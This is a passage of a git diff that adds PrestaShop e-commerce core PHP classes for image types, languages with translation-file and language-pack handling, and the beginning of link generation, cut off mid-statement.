+ 'table' => 'image_type', + 'primary' => 'id_image_type', + 'fields' => array( + 'name' => array('type' => self::TYPE_STRING, 'validate' => 'isImageTypeName', 'required' => true, 'size' => 64), + 'width' => array('type' => self::TYPE_INT, 'validate' => 'isImageSize', 'required' => true), + 'height' => array('type' => self::TYPE_INT, 'validate' => 'isImageSize', 'required' => true), + 'categories' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'products' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'manufacturers' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'suppliers' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'scenes' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'stores' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + ), + ); + + /** + * @var array Image types cache + */ + protected static $images_types_cache = array(); + + protected static $images_types_name_cache = array(); + + protected $webserviceParameters = array(); + + /** + * Returns image type definitions + * + * @param string|null Image type + * @return array Image type definitions + */ + public static function getImagesTypes($type = null) + { + if (!isset(self::$images_types_cache[$type])) + { + $where = 'WHERE 1'; + if (!empty($type)) + $where .= ' AND '.pSQL($type).' = 1 '; + + $query = 'SELECT * FROM `'._DB_PREFIX_.'image_type`'.$where.' ORDER BY `name` ASC'; + self::$images_types_cache[$type] = Db::getInstance()->executeS($query); + } + return self::$images_types_cache[$type]; + } + + /** + * Check if type already is already registered in database + * + * @param string $typeName Name + * @return integer Number of results found + */ + public static function typeAlreadyExists($typeName) + { + if (!Validate::isImageTypeName($typeName)) + die(Tools::displayError()); + + Db::getInstance()->executeS(' + SELECT `id_image_type` + FROM `'._DB_PREFIX_.'image_type` + WHERE `name` = \''.pSQL($typeName).'\''); + + return Db::getInstance()->NumRows(); + } + + /** + * Finds image type definition by name and type + * @param string $name + * @param string $type + */ + public static function getByNameNType($name, $type = null) + { + if (!isset(self::$images_types_name_cache[$name.'_'.$type])) + { + self::$images_types_name_cache[$name.'_'.$type] = Db::getInstance()->getRow(' + SELECT `id_image_type`, `name`, `width`, `height`, `products`, `categories`, `manufacturers`, `suppliers`, `scenes` + FROM `'._DB_PREFIX_.'image_type` + WHERE `name` = \''.pSQL($name).'\' '.(!is_null($type) ? 'AND `'.pSQL($type).'` = 1' : '')); + } + return self::$images_types_name_cache[$name.'_'.$type]; + } + + public static function getFormatedName($name) + { + $theme_name = Context::getContext()->shop->theme_name; + $name_without_theme_name = str_replace(array('_'.$theme_name, $theme_name.'_'), '', $name); + + //check if the theme name is already in $name if yes only return $name + if (strstr($name, $theme_name) && self::getByNameNType($name)) + return $name; + else if (self::getByNameNType($name_without_theme_name.'_'.$theme_name)) + return $name_without_theme_name.'_'.$theme_name; + else if (self::getByNameNType($theme_name.'_'.$name_without_theme_name)) + return $theme_name.'_'.$name_without_theme_name; + else + return $name_without_theme_name.'_default'; + } + +} diff --git a/classes/Language.php b/classes/Language.php new file mode 100755 index 0000000..3ce4b19 --- /dev/null +++ b/classes/Language.php @@ -0,0 +1,834 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class LanguageCore extends ObjectModel +{ + public $id; + + /** @var string Name */ + public $name; + + /** @var string 2-letter iso code */ + public $iso_code; + + /** @var string 5-letter iso code */ + public $language_code; + + /** @var string date format http://http://php.net/manual/en/function.date.php with the date only */ + public $date_format_lite = 'Y-m-d'; + + /** @var string date format http://http://php.net/manual/en/function.date.php with hours and minutes */ + public $date_format_full = 'Y-m-d H:i:s'; + + /** @var bool true if this language is right to left language */ + public $is_rtl = false; + + /** @var boolean Status */ + public $active = true; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'lang', + 'primary' => 'id_lang', + 'fields' => array( + 'name' => array('type' => self::TYPE_STRING, 'validate' => 'isGenericName', 'required' => true, 'size' => 32), + 'iso_code' => array('type' => self::TYPE_STRING, 'validate' => 'isLanguageIsoCode', 'required' => true, 'size' => 2), + 'language_code' => array('type' => self::TYPE_STRING, 'validate' => 'isLanguageCode', 'size' => 5), + 'active' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'is_rtl' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'date_format_lite' => array('type' => self::TYPE_STRING, 'validate' => 'isPhpDateFormat', 'required' => true, 'size' => 32), + 'date_format_full' => array('type' => self::TYPE_STRING, 'validate' => 'isPhpDateFormat', 'required' => true, 'size' => 32), + ), + ); + + + /** @var array Languages cache */ + protected static $_checkedLangs; + protected static $_LANGUAGES; + protected static $countActiveLanguages; + + protected $webserviceParameters = array( + 'objectNodeName' => 'language', + 'objectsNodeName' => 'languages', + ); + + protected $translationsFilesAndVars = array( + 'fields' => '_FIELDS', + 'errors' => '_ERRORS', + 'admin' => '_LANGADM', + 'pdf' => '_LANGPDF', + 'tabs' => 'tabs', + ); + + public function __construct($id = null, $id_lang = null) + { + parent::__construct($id); + } + + /** + * @see ObjectModel::getFields() + * @return array + */ + public function getFields() + { + if (empty($this->language_code)) + $this->language_code = $this->iso_code; + + return parent::getFields(); + } + + /** + * Generate translations files + * + */ + protected function _generateFiles($newIso = null) + { + $iso_code = $newIso ? $newIso : $this->iso_code; + + if (!file_exists(_PS_TRANSLATIONS_DIR_.$iso_code)) + mkdir(_PS_TRANSLATIONS_DIR_.$iso_code); + foreach ($this->translationsFilesAndVars as $file => $var) + { + $path_file = _PS_TRANSLATIONS_DIR_.$iso_code.'/'.$file.'.php'; + if (!file_exists($path_file)) + if ($file != 'tabs') + file_put_contents($path_file, ''); + else + file_put_contents($path_file, ''); + + @chmod($path_file, 0777); + } + } + + /** + * Move translations files after editiing language iso code + */ + public function moveToIso($newIso) + { + if ($newIso == $this->iso_code) + return true; + + if (file_exists(_PS_TRANSLATIONS_DIR_.$this->iso_code)) + rename(_PS_TRANSLATIONS_DIR_.$this->iso_code, _PS_TRANSLATIONS_DIR_.$newIso); + + if (file_exists(_PS_MAIL_DIR_.$this->iso_code)) + rename(_PS_MAIL_DIR_.$this->iso_code, _PS_MAIL_DIR_.$newIso); + + $modulesList = Module::getModulesDirOnDisk(); + foreach ($modulesList as $moduleDir) + { + if (file_exists(_PS_MODULE_DIR_.$moduleDir.'/mails/'.$this->iso_code)) + rename(_PS_MODULE_DIR_.$moduleDir.'/mails/'.$this->iso_code, _PS_MODULE_DIR_.$moduleDir.'/mails/'.$newIso); + + if (file_exists(_PS_MODULE_DIR_.$moduleDir.'/'.$this->iso_code.'.php')) + rename(_PS_MODULE_DIR_.$moduleDir.'/'.$this->iso_code.'.php', _PS_MODULE_DIR_.$moduleDir.'/'.$newIso.'.php'); + } + + foreach (Theme::getThemes() as $theme) + { + $theme_dir = $theme->directory; + if (file_exists(_PS_ALL_THEMES_DIR_.$theme_dir.'/lang/'.$this->iso_code.'.php')) + rename(_PS_ALL_THEMES_DIR_.$theme_dir.'/lang/'.$this->iso_code.'.php', _PS_ALL_THEMES_DIR_.$theme_dir.'/lang/'.$newIso.'.php'); + + if (file_exists(_PS_ALL_THEMES_DIR_.$theme_dir.'/mails/'.$this->iso_code)) + rename(_PS_ALL_THEMES_DIR_.$theme_dir.'/mails/'.$this->iso_code, _PS_ALL_THEMES_DIR_.$theme_dir.'/mails/'.$newIso); + + foreach ($modulesList as $module) + if (file_exists(_PS_ALL_THEMES_DIR_.$theme_dir.'/modules/'.$module.'/'.$this->iso_code.'.php')) + rename(_PS_ALL_THEMES_DIR_.$theme_dir.'/modules/'.$module.'/'.$this->iso_code.'.php', _PS_ALL_THEMES_DIR_.$theme_dir.'/modules/'.$module.'/'.$newIso.'.php'); + } + } + + /** + * Return an array of theme + * + * @return array([theme dir] => array('name' => [theme name])) + * @deprecated will be removed in 1.6 + */ + protected function _getThemesList() + { + Tools::displayAsDeprecated(); + static $themes = array(); + + if (empty($themes)) + { + $installed_themes = Theme::getThemes(); + foreach ($installed_themes as $theme) + $themes[$theme->directory] = array('name' => $theme->name); + } + return $themes; + } + + public function add($autodate = true, $nullValues = false, $only_add = false) + { + if (!parent::add($autodate)) + return false; + + if ($only_add) + return true; + + // create empty files if they not exists + $this->_generateFiles(); + + // @todo Since a lot of modules are not in right format with their primary keys name, just get true ... + $resUpdateSQL = $this->loadUpdateSQL(); + $resUpdateSQL = true; + Tools::generateHtaccess(); + return $resUpdateSQL; + } + + public function toggleStatus() + { + if (!parent::toggleStatus()) + return false; + + return Tools::generateHtaccess(); + } + + public function checkFiles() + { + return Language::checkFilesWithIsoCode($this->iso_code); + } + + + /** + * This functions checks if every files exists for the language $iso_code. + * Concerned files are those located in translations/$iso_code/ + * and translations/mails/$iso_code . + * + * @param mixed $iso_code + * @returntrue if all files exists + */ + public static function checkFilesWithIsoCode($iso_code) + { + if (isset(self::$_checkedLangs[$iso_code]) && self::$_checkedLangs[$iso_code]) + return true; + + foreach (array_keys(Language::getFilesList($iso_code, _THEME_NAME_, false, false, false, true)) as $key) + if (!file_exists($key)) + return false; + self::$_checkedLangs[$iso_code] = true; + return true; + } + + public static function getFilesList($iso_from, $theme_from, $iso_to = false, $theme_to = false, $select = false, $check = false, $modules = false) + { + if (empty($iso_from)) + die(Tools::displayError()); + + $copy = ($iso_to && $theme_to) ? true : false; + + $lPath_from = _PS_TRANSLATIONS_DIR_.(string)$iso_from.'/'; + $tPath_from = _PS_ROOT_DIR_.'/themes/'.(string)$theme_from.'/'; + $pPath_from = _PS_ROOT_DIR_.'/themes/'.(string)$theme_from.'/pdf/'; + $mPath_from = _PS_MAIL_DIR_.(string)$iso_from.'/'; + + if ($copy) + { + $lPath_to = _PS_TRANSLATIONS_DIR_.(string)$iso_to.'/'; + $tPath_to = _PS_ROOT_DIR_.'/themes/'.(string)$theme_to.'/'; + $pPath_to = _PS_ROOT_DIR_.'/themes/'.(string)$theme_to.'/pdf/'; + $mPath_to = _PS_MAIL_DIR_.(string)$iso_to.'/'; + } + + $lFiles = array('admin.php', 'errors.php', 'fields.php', 'pdf.php', 'tabs.php', 'index.php'); + + // Added natives mails files + $mFiles = array( + 'account.html', 'account.txt', + 'backoffice_order.html', 'backoffice_order.txt', + 'bankwire.html', 'bankwire.txt', + 'cheque.html', 'cheque.txt', + 'contact.html', 'contact.txt', + 'contact_form.html', 'contact_form.txt', + 'credit_slip.html', 'credit_slip.txt', + 'download_product.html', 'download_product.txt', 'download-product.tpl', + 'employee_password.html', 'employee_password.txt', + 'forward_msg.html', 'forward_msg.txt', + 'guest_to_customer.html', 'guest_to_customer.txt', + 'in_transit.html', 'in_transit.txt', + 'log_alert.html', 'log_alert.txt', + 'newsletter.html', 'newsletter.txt', + 'order_canceled.html', 'order_canceled.txt', + 'order_conf.html', 'order_conf.txt', + 'order_customer_comment.html', 'order_customer_comment.txt', + 'order_merchant_comment.html', 'order_merchant_comment.txt', + 'order_return_state.html', 'order_return_state.txt', + 'outofstock.html', 'outofstock.txt', + 'password.html', 'password.txt', + 'password_query.html', 'password_query.txt', + 'payment.html', 'payment.txt', + 'payment_error.html', 'payment_error.txt', + 'preparation.html', 'preparation.txt', + 'refund.html', 'refund.txt', + 'reply_msg.html', 'reply_msg.txt', + 'shipped.html', 'shipped.txt', + 'test.html', 'test.txt', + 'voucher.html', 'voucher.txt', + 'voucher_new.html', 'voucher_new.txt', + 'order_changed.html', 'order_changed.txt', 'index.php' + ); + + $number = -1; + + $files = array(); + $files_tr = array(); + $files_theme = array(); + $files_mail = array(); + $files_modules = array(); + + // When a copy is made from a theme in specific language + // to an other theme for the same language, + // it's avoid to copy Translations, Mails files + // and modules files which are not override by theme. + if (!$copy || $iso_from != $iso_to) + { + // Translations files + if (!$check || ($check && (string)$iso_from != 'en')) + foreach ($lFiles as $file) + $files_tr[$lPath_from.$file] = ($copy ? $lPath_to.$file : ++$number); + if ($select == 'tr') + return $files_tr; + $files = array_merge($files, $files_tr); + + // Mail files + if (!$check || ($check && (string)$iso_from != 'en')) + $files_mail[$mPath_from.'lang.php'] = ($copy ? $mPath_to.'lang.php' : ++$number); + foreach ($mFiles as $file) + $files_mail[$mPath_from.$file] = ($copy ? $mPath_to.$file : ++$number); + if ($select == 'mail') + return $files_mail; + $files = array_merge($files, $files_mail); + + // Modules + if ($modules) + { + $modList = Module::getModulesDirOnDisk(); + foreach ($modList as $mod) + { + $modDir = _PS_MODULE_DIR_.$mod; + // Lang file + if (file_exists($modDir.'/translations/'.(string)$iso_from.'.php')) + $files_modules[$modDir.'/translations/'.(string)$iso_from.'.php'] = ($copy ? $modDir.'/translations/'.(string)$iso_to.'.php' : ++$number); + else if (file_exists($modDir.'/'.(string)$iso_from.'.php')) + $files_modules[$modDir.'/'.(string)$iso_from.'.php'] = ($copy ? $modDir.'/'.(string)$iso_to.'.php' : ++$number); + // Mails files + $modMailDirFrom = $modDir.'/mails/'.(string)$iso_from; + $modMailDirTo = $modDir.'/mails/'.(string)$iso_to; + if (file_exists($modMailDirFrom)) + { + $dirFiles = scandir($modMailDirFrom); + foreach ($dirFiles as $file) + if (file_exists($modMailDirFrom.'/'.$file) && $file != '.' && $file != '..' && $file != '.svn') + $files_modules[$modMailDirFrom.'/'.$file] = ($copy ? $modMailDirTo.'/'.$file : ++$number); + } + } + if ($select == 'modules') + return $files_modules; + $files = array_merge($files, $files_modules); + } + } + else if ($select == 'mail' || $select == 'tr') + return $files; + + // Theme files + if (!$check || ($check && (string)$iso_from != 'en')) + { + $files_theme[$tPath_from.'lang/'.(string)$iso_from.'.php'] = ($copy ? $tPath_to.'lang/'.(string)$iso_to.'.php' : ++$number); + + // Override for pdf files in the theme + if (file_exists($pPath_from.'lang/'.(string)$iso_from.'.php')) + $files_theme[$pPath_from.'lang/'.(string)$iso_from.'.php'] = ($copy ? $pPath_to.'lang/'.(string)$iso_to.'.php' : ++$number); + + $module_theme_files = (file_exists($tPath_from.'modules/') ? scandir($tPath_from.'modules/') : array()); + foreach ($module_theme_files as $module) + if ($module !== '.' && $module != '..' && $module !== '.svn' && file_exists($tPath_from.'modules/'.$module.'/'.(string)$iso_from.'.php')) + $files_theme[$tPath_from.'modules/'.$module.'/'.(string)$iso_from.'.php'] = ($copy ? $tPath_to.'modules/'.$module.'/'.(string)$iso_to.'.php' : ++$number); + } + if ($select == 'theme') + return $files_theme; + $files = array_merge($files, $files_theme); + + // Return + return $files; + } + + /** + * loadUpdateSQL will create default lang values when you create a new lang, based on default id lang + * + * @return boolean true if succeed + */ + public function loadUpdateSQL() + { + $tables = Db::getInstance()->executeS('SHOW TABLES LIKE \''.str_replace('_', '\\_', _DB_PREFIX_).'%\_lang\' '); + $langTables = array(); + + foreach ($tables as $table) + foreach ($table as $t) + if ($t != _DB_PREFIX_.'configuration_lang') + $langTables[] = $t; + + $return = true; + + $shops = Shop::getShopsCollection(false); + foreach ($shops as $shop) + { + $id_lang_default = Configuration::get('PS_LANG_DEFAULT', null, $shop->id_shop_group, $shop->id); + + foreach ($langTables as $name) + { + $fields = ''; + // We will check if the table contains a column "id_shop" + // If yes, we will add "id_shop" as a WHERE condition in queries copying data from default language + $shop_field_exists = false; + $columns = Db::getInstance()->executeS('SHOW COLUMNS FROM `'.$name.'`'); + foreach ($columns as $column) + { + $fields .= $column['Field'].', '; + if ($column['Field'] == 'id_shop') + $shop_field_exists = true; + } + $fields = rtrim($fields, ', '); + preg_match('#^'.preg_quote(_DB_PREFIX_).'(.+)_lang$#i', $name, $m); + $identifier = 'id_'.$m[1]; + + $sql = 'INSERT IGNORE INTO `'.$name.'` ('.$fields.') (SELECT '; + + // For each column, copy data from default language + foreach ($columns as $column) + { + if ($identifier != $column['Field'] && $column['Field'] != 'id_lang') + { + $sql .= '(SELECT `'.$column['Field'].'` FROM `'.$name.'` tl WHERE tl.`id_lang` = '.(int)$id_lang_default + .($shop_field_exists ? ' AND tl.`id_shop` = '.(int)$shop->id : '') + .' AND tl.`'.$identifier.'` = `'.str_replace('_lang', '', $name).'`.`'.$identifier.'`), '; + } + else + $sql .= '`'.$column['Field'].'`, '; + } + $sql = rtrim($sql, ', '); + $sql .= ' FROM `'._DB_PREFIX_.'lang` CROSS JOIN `'.str_replace('_lang', '', $name).'`) ;'; + $return &= Db::getInstance()->execute(pSQL($sql)); + } + } + return $return; + } + + public static function recurseDeleteDir($dir) + { + if (!is_dir($dir)) + return false; + if ($handle = @opendir($dir)) + { + while (false !== ($file = readdir($handle))) + if ($file != '.' && $file != '..') + { + if (is_dir($dir.'/'.$file)) + Language::recurseDeleteDir($dir.'/'.$file); + elseif (file_exists($dir.'/'.$file)) + @unlink($dir.'/'.$file); + } + closedir($handle); + } + rmdir($dir); + } + + public function delete() + { + if (!$this->hasMultishopEntries()) + { + if (empty($this->iso_code)) + $this->iso_code = Language::getIsoById($this->id); + + // Database translations deletion + $result = Db::getInstance()->executeS('SHOW TABLES FROM `'._DB_NAME_.'`'); + foreach ($result as $row) + if (isset($row['Tables_in_'._DB_NAME_]) && !empty($row['Tables_in_'._DB_NAME_]) && preg_match('/_lang/', $row['Tables_in_'._DB_NAME_])) + if (!Db::getInstance()->execute('DELETE FROM `'.$row['Tables_in_'._DB_NAME_].'` WHERE `id_lang` = '.(int)$this->id)) + return false; + + + // Delete tags + Db::getInstance()->execute('DELETE FROM '._DB_PREFIX_.'tag WHERE id_lang = '.(int)$this->id); + + // Delete search words + Db::getInstance()->execute('DELETE FROM '._DB_PREFIX_.'search_word WHERE id_lang = '.(int)$this->id); + + // Files deletion + foreach (Language::getFilesList($this->iso_code, _THEME_NAME_, false, false, false, true, true) as $key => $file) + if (file_exists($key)) + unlink($key); + $modList = scandir(_PS_MODULE_DIR_); + foreach ($modList as $mod) + { + Language::recurseDeleteDir(_PS_MODULE_DIR_.$mod.'/mails/'.$this->iso_code); + $files = @scandir(_PS_MODULE_DIR_.$mod.'/mails/'); + if (count($files) <= 2) + Language::recurseDeleteDir(_PS_MODULE_DIR_.$mod.'/mails/'); + + if (file_exists(_PS_MODULE_DIR_.$mod.'/'.$this->iso_code.'.php')) + { + unlink(_PS_MODULE_DIR_.$mod.'/'.$this->iso_code.'.php'); + $files = @scandir(_PS_MODULE_DIR_.$mod); + if (count($files) <= 2) + Language::recurseDeleteDir(_PS_MODULE_DIR_.$mod); + } + } + + if (file_exists(_PS_MAIL_DIR_.$this->iso_code)) + Language::recurseDeleteDir(_PS_MAIL_DIR_.$this->iso_code); + if (file_exists(_PS_TRANSLATIONS_DIR_.$this->iso_code)) + Language::recurseDeleteDir(_PS_TRANSLATIONS_DIR_.$this->iso_code); + } + + if (!parent::delete()) + return false; + if (!$this->hasMultishopEntries()) + { + // delete images + $files_copy = array( + '/en.jpg', + '/en-default-'.ImageType::getFormatedName('thickbox').'.jpg', + '/en-default-'.ImageType::getFormatedName('home').'.jpg', + '/en-default-'.ImageType::getFormatedName('large').'.jpg', + '/en-default-'.ImageType::getFormatedName('medium').'.jpg', + '/en-default-'.ImageType::getFormatedName('small').'.jpg' + ); + $tos = array(_PS_CAT_IMG_DIR_, _PS_MANU_IMG_DIR_, _PS_PROD_IMG_DIR_, _PS_SUPP_IMG_DIR_); + foreach ($tos as $to) + foreach ($files_copy as $file) + { + $name = str_replace('/en', ''.$this->iso_code, $file); + + if (file_exists($to.$name)) + unlink($to.$name); + if (file_exists(dirname(__FILE__).'/../img/l/'.$this->id.'.jpg')) + unlink(dirname(__FILE__).'/../img/l/'.$this->id.'.jpg'); + } + } + return Tools::generateHtaccess(); + } + + + public function deleteSelection($selection) + { + if (!is_array($selection)) + die(Tools::displayError()); + + $result = true; + foreach ($selection as $id) + { + $this->id = (int)($id); + $result = $result && $this->delete(); + } + + Tools::generateHtaccess(); + return $result; + } + + /** + * Return available languages + * + * @param boolean $active Select only active languages + * @return array Languages + */ + public static function getLanguages($active = true, $id_shop = false) + { + if (!self::$_LANGUAGES) + Language::loadLanguages(); + + $languages = array(); + foreach (self::$_LANGUAGES as $language) + { + if ($active && !$language['active'] || ($id_shop && !isset($language['shops'][(int)$id_shop]))) + continue; + $languages[] = $language; + } + return $languages; + } + + public static function getLanguage($id_lang) + { + if (!array_key_exists((int)($id_lang), self::$_LANGUAGES)) + return false; + return self::$_LANGUAGES[(int)($id_lang)]; + } + + /** + * Return iso code from id + * + * @param integer $id_lang Language ID + * @return string Iso code + */ + public static function getIsoById($id_lang) + { + if (isset(self::$_LANGUAGES[(int)$id_lang]['iso_code'])) + return self::$_LANGUAGES[(int)$id_lang]['iso_code']; + return false; + } + + /** + * Return id from iso code + * + * @param string $iso_code Iso code + * @return integer Language ID + */ + public static function getIdByIso($iso_code) + { + if (!Validate::isLanguageIsoCode($iso_code)) + die(Tools::displayError('Fatal error: ISO code is not correct').' '.$iso_code); + + return Db::getInstance()->getValue('SELECT `id_lang` FROM `'._DB_PREFIX_.'lang` WHERE `iso_code` = \''.pSQL(strtolower($iso_code)).'\''); + } + + public static function getLanguageCodeByIso($iso_code) + { + if (!Validate::isLanguageIsoCode($iso_code)) + die(Tools::displayError('Fatal error: ISO code is not correct').' '.$iso_code); + + return Db::getInstance()->getValue('SELECT `language_code` FROM `'._DB_PREFIX_.'lang` WHERE `iso_code` = \''.pSQL(strtolower($iso_code)).'\''); + } + + /** + * Return array (id_lang, iso_code) + * + * @param string $iso_code Iso code + * @return array Language (id_lang, iso_code) + */ + public static function getIsoIds($active = true) + { + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS('SELECT `id_lang`, `iso_code` FROM `'._DB_PREFIX_.'lang` '.($active ? 'WHERE active = 1' : '')); + } + + public static function copyLanguageData($from, $to) + { + $result = Db::getInstance()->executeS('SHOW TABLES FROM `'._DB_NAME_.'`'); + foreach ($result as $row) + if (preg_match('/_lang/', $row['Tables_in_'._DB_NAME_]) && $row['Tables_in_'._DB_NAME_] != _DB_PREFIX_.'lang') + { + $result2 = Db::getInstance()->executeS('SELECT * FROM `'.$row['Tables_in_'._DB_NAME_].'` WHERE `id_lang` = '.(int)$from); + if (!count($result2)) + continue; + Db::getInstance()->execute('DELETE FROM `'.$row['Tables_in_'._DB_NAME_].'` WHERE `id_lang` = '.(int)$to); + $query = 'INSERT INTO `'.$row['Tables_in_'._DB_NAME_].'` VALUES '; + foreach ($result2 as $row2) + { + $query .= '('; + $row2['id_lang'] = $to; + foreach ($row2 as $field) + $query .= '\''.pSQL($field, true).'\','; + $query = rtrim($query, ',').'),'; + } + $query = rtrim($query, ','); + Db::getInstance()->execute($query); + } + return true; + } + + /** + * Load all languages in memory for caching + */ + public static function loadLanguages() + { + self::$_LANGUAGES = array(); + + $sql = 'SELECT l.*, ls.`id_shop` + FROM `'._DB_PREFIX_.'lang` l + LEFT JOIN `'._DB_PREFIX_.'lang_shop` ls ON (l.id_lang = ls.id_lang)'; + + $result = Db::getInstance()->executeS($sql); + foreach ($result as $row) + { + if (!isset(self::$_LANGUAGES[(int)$row['id_lang']])) + self::$_LANGUAGES[(int)$row['id_lang']] = $row; + self::$_LANGUAGES[(int)$row['id_lang']]['shops'][(int)$row['id_shop']] = true; + } + } + + public function update($nullValues = false) + { + if (!parent::update($nullValues)) + return false; + + return Tools::generateHtaccess(); + } + + public static function checkAndAddLanguage($iso_code, $lang_pack = false, $only_add = false, $params_lang = null) + { + if (Language::getIdByIso($iso_code)) + return true; + + $lang = new Language(); + $lang->iso_code = $iso_code; + $lang->active = true; + + if (!$lang_pack) + $lang_pack = Tools::jsonDecode(Tools::file_get_contents('http://www.prestashop.com/download/lang_packs/get_language_pack.php?version='._PS_VERSION_.'&iso_lang='.$iso_code)); + + if ($lang_pack) + { + if (isset($lang_pack->name) + && isset($lang_pack->version) + && isset($lang_pack->iso_code)) + $lang->name = $lang_pack->name; + } + elseif ($params_lang !== null && is_array($params_lang)) + { + foreach ($params_lang as $key => $value) + $lang->$key = $value; + } + else + return false; + + if (!$lang->add(true, false, $only_add)) + return false; + + $flag = Tools::file_get_contents('http://www.prestashop.com/download/lang_packs/flags/jpeg/'.$iso_code.'.jpg'); + if ($flag != null && !preg_match('//', $flag)) + { + $file = fopen(dirname(__FILE__).'/../img/l/'.(int)$lang->id.'.jpg', 'w'); + if ($file) + { + fwrite($file, $flag); + fclose($file); + } + else + Language::_copyNoneFlag((int)$lang->id); + } + else + Language::_copyNoneFlag((int)$lang->id); + + $files_copy = array( + '/en.jpg', + '/en-default-'.ImageType::getFormatedName('thickbox').'.jpg', + '/en-default-'.ImageType::getFormatedName('home').'.jpg', + '/en-default-'.ImageType::getFormatedName('large').'.jpg', + '/en-default-'.ImageType::getFormatedName('medium').'.jpg', + '/en-default-'.ImageType::getFormatedName('small').'.jpg', + '/en-default-'.ImageType::getFormatedName('scene').'.jpg' + ); + + foreach (array(_PS_CAT_IMG_DIR_, _PS_MANU_IMG_DIR_, _PS_PROD_IMG_DIR_, _PS_SUPP_IMG_DIR_) as $to) + foreach ($files_copy as $file) + @copy(dirname(__FILE__).'/../img/l'.$file, $to.str_replace('/en', '/'.$iso_code, $file)); + + return true; + } + + protected static function _copyNoneFlag($id) + { + return copy(dirname(__FILE__).'/../img/l/none.jpg', dirname(__FILE__).'/../img/l/'.$id.'.jpg'); + } + + protected static $_cache_language_installation = null; + public static function isInstalled($iso_code) + { + if (self::$_cache_language_installation === null) + { + self::$_cache_language_installation = array(); + $result = Db::getInstance()->executeS('SELECT `id_lang`, `iso_code` FROM `'._DB_PREFIX_.'lang`'); + foreach ($result as $row) + self::$_cache_language_installation[$row['iso_code']] = $row['id_lang']; + } + return (isset(self::$_cache_language_installation[$iso_code]) ? self::$_cache_language_installation[$iso_code] : false); + } + + public static function countActiveLanguages() + { + if (!self::$countActiveLanguages) + self::$countActiveLanguages = Db::getInstance()->getValue(' + SELECT COUNT(DISTINCT l.id_lang) FROM `'._DB_PREFIX_.'lang` l + '.Shop::addSqlAssociation('lang', 'l').' + WHERE l.`active` = 1 + '); + return self::$countActiveLanguages; + } + + public static function downloadAndInstallLanguagePack($iso, $version = null, $params = null) + { + require_once(_PS_TOOL_DIR_.'tar/Archive_Tar.php'); + + if (!Validate::isLanguageIsoCode($iso)) + return false; + + if ($version == null) + $version = _PS_VERSION_; + $lang_pack = false; + $lang_pack_ok = false; + $errors = array(); + $file = _PS_TRANSLATIONS_DIR_.$iso.'.gzip'; + if (!$lang_pack_link = Tools::file_get_contents('http://www.prestashop.com/download/lang_packs/get_language_pack.php?version='.$version.'&iso_lang='.$iso)) + $errors[] = Tools::displayError('Archive cannot be downloaded from prestashop.com.'); + elseif (!$lang_pack = Tools::jsonDecode($lang_pack_link)) + $errors[] = Tools::displayError('Error occurred when language was checked according to your Prestashop version.'); + elseif ($content = Tools::file_get_contents('http://translations.prestashop.com/download/lang_packs/gzip/'.$lang_pack->version.'/'.$lang_pack->iso_code.'.gzip')) + if (!@file_put_contents($file, $content)) + $errors[] = Tools::displayError('Server does not have permissions for writing.'); + if (file_exists($file)) + { + $gz = new Archive_Tar($file, true); + $files_list = $gz->listContent(); + if (!$gz->extract(_PS_TRANSLATIONS_DIR_.'../', false)) + $errors[] = Tools::displayError('Cannot decompress the translation file for the following language: ').(string)$iso; + // Clear smarty modules cache + Tools::clearCache(); + if (!Language::checkAndAddLanguage((string)$iso, $lang_pack, false, $params)) + $errors[] = Tools::displayError('An error occurred while creating the language: ').(string)$iso; + else + { + // Reset cache + Language::loadLanguages(); + + AdminTranslationsController::checkAndAddMailsFiles($iso, $files_list); + AdminTranslationsController::addNewTabs($iso, $files_list); + } + @unlink($file); + } + else + $errors[] = Tools::displayError('No language pack is available for your version.'); + + return count($errors) ? $errors : true; + } + + /** + * Check if more on than one language is activated + * + * @since 1.5.0 + * @return bool + */ + public static function isMultiLanguageActivated() + { + return (Language::countActiveLanguages() > 1); + } +} diff --git a/classes/Link.php b/classes/Link.php new file mode 100755 index 0000000..80863ee --- /dev/null +++ b/classes/Link.php @@ -0,0 +1,578 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class LinkCore +{ + /** @var boolean Rewriting activation */ + protected $allow; + protected $url; + public static $cache = array('page' => array()); + + public $protocol_link; + public $protocol_content; + + protected $ssl_enable; + + protected static $category_disable_rewrite = null; + + /** + * Constructor (initialization only) + */ + public function __construct($protocol_link = null, $protocol_content = null) + { + $this->allow = (int)Configuration::get('PS_REWRITING_SETTINGS'); + $this->url = $_SERVER['SCRIPT_NAME']; + $this->protocol_link = $protocol_link; + $this->protocol_content = $protocol_content; + + if (!defined('_PS_BASE_URL_')) + define('_PS_BASE_URL_', Tools::getShopDomain(true)); + if (!defined('_PS_BASE_URL_SSL_')) + define('_PS_BASE_URL_SSL_', Tools::getShopDomainSsl(true)); + + if (Link::$category_disable_rewrite === null) + Link::$category_disable_rewrite = array(Configuration::get('PS_HOME_CATEGORY'), Configuration::get('PS_ROOT_CATEGORY')); + + $this->ssl_enable = Configuration::get('PS_SSL_ENABLED'); + } + + /** + * Create a link to delete a product + * + * @param mixed $product ID of the product OR a Product object + * @param int $id_picture ID of the picture to delete + * @return string + */ + public function getProductDeletePictureLink($product, $id_picture) + { + $url = $this->getProductLink($product); + return $url.((strpos($url, '?')) ? '&' : '?').'&deletePicture='.$id_picture; + } + + /** + * Create a link to a product + * + * @param mixed $product Product object (can be an ID product, but deprecated) + * @param string $alias + * @param string $category + * @param string $ean13 + * @param int $id_lang + * @param int $id_shop (since 1.5.0) ID shop need to be used when we generate a product link for a product in a cart + * @param int $ipa ID product attribute + * @return string + */ + public function getProductLink($product, $alias = null, $category = null, $ean13 = null, $id_lang = null, $id_shop = null, $ipa = 0, $force_routes = false) + { + $dispatcher = 